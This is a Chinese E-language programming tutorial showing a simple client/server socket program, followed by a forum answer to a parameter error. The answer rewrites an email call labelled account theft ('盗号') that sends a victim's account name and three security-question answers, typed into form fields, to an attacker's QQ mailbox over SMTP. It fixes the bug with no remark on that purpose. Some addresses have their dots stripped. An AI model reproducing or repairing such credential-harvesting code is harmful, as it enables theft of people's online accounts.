易语言客户端服务端

版本 2
程序集 窗口程序集1
程序集变量 客户, 文本型
子程序 __启动窗口_创建完毕
服务器1端口 ＝ 19730
' 这里是将服务器跟客户端放在同一个窗口下写的
' 客户1连接服务器的3个条件，1：服务端已经运行。2：服务地址填写正确。3：端口要一致
' 本机测试用127001就可以了，外网的话根据外网IP填写，或用域名解析。例如 花生壳等软件，解析后直接填入域名。
' 端口 0-65535 只要不跟其他程序使用的端口冲突就可以
如果真 (客户1连接 (“127001”, 19730) ＝ 假)
信息框 (“连接服务器失败！”, 0, )
返回 ()
如果真结束
信息框 (“连接服务器成功！”, 0, )
子程序 _服务器1_客户进入
' 当客户连接进来以后可以先取回这个客户的IP,等下发送数据数用得到，有多个客户连接的话可以用数组保存
客户 ＝ 服务器1取回客户 ()
子程序 _按钮2_被单击
' 客户发送数据
客户1发送数据 (“客户1发送来的数据”)
子程序 _按钮1_被单击
' 服务器发送数据
服务器1发送数据 (客户, “服务器1发送来的消息”, )
子程序 _客户1_数据到达
局部变量 消息, 文本型
' 客户取回服务器发来的消息
' 接收到的数据时字节集型的，先到下文本
消息 ＝ 到文本 (客户1取回数据 ())
信息框 (消息, 0, )
' 当然，如果发送的不是文本，而是一个文件、一张的话，就不用到文本了。而应该用一个字节集型的变量来接收
子程序 _服务器1_数据到达
局部变量 消息, 文本型
' 接收客户发送的数据
消息 ＝ 到文本 (服务器1取回数据 ())
信息框 (消息, 0, )

服务器的端口是不变的，它是接发数据唯一的通道，既然服务器接发数据要有端口，那么客户当然也有它的端口，要不然客户端怎么接发数据呢，但是客户的端口和服务器的端口不同的是：1服务器端口不变，而且是你必须自己写的。2客户的端口每次连接服务器都改变，而且是不用你写它是自己分配的。

错误(39): 为某支持库命令提供了过多的参数。
首先，连接发信服务器 (“smtpqqcom”, 这里要写上端口, “1305857382”, “我的密码”)
其次：发送邮件 (“盗号把。”,“账号:”＋ 编辑框2内容 ＋ #换行符 ＋ “密保一:” ＋ 编辑框1内容 ＋ #换行符 ＋ “密保二:” ＋ 编辑框4内容 ＋ #换行符 ＋ “密保三:” ＋ 编辑框3内容, “@qqcom”, , ,‘这里多了几个,,,号’“@qqcom”, , )
现在你明白了吗？ 建议你在使用每个方法命令时，先了解清楚其方法或对象的参数。这样写起程序来会事半功倍！

---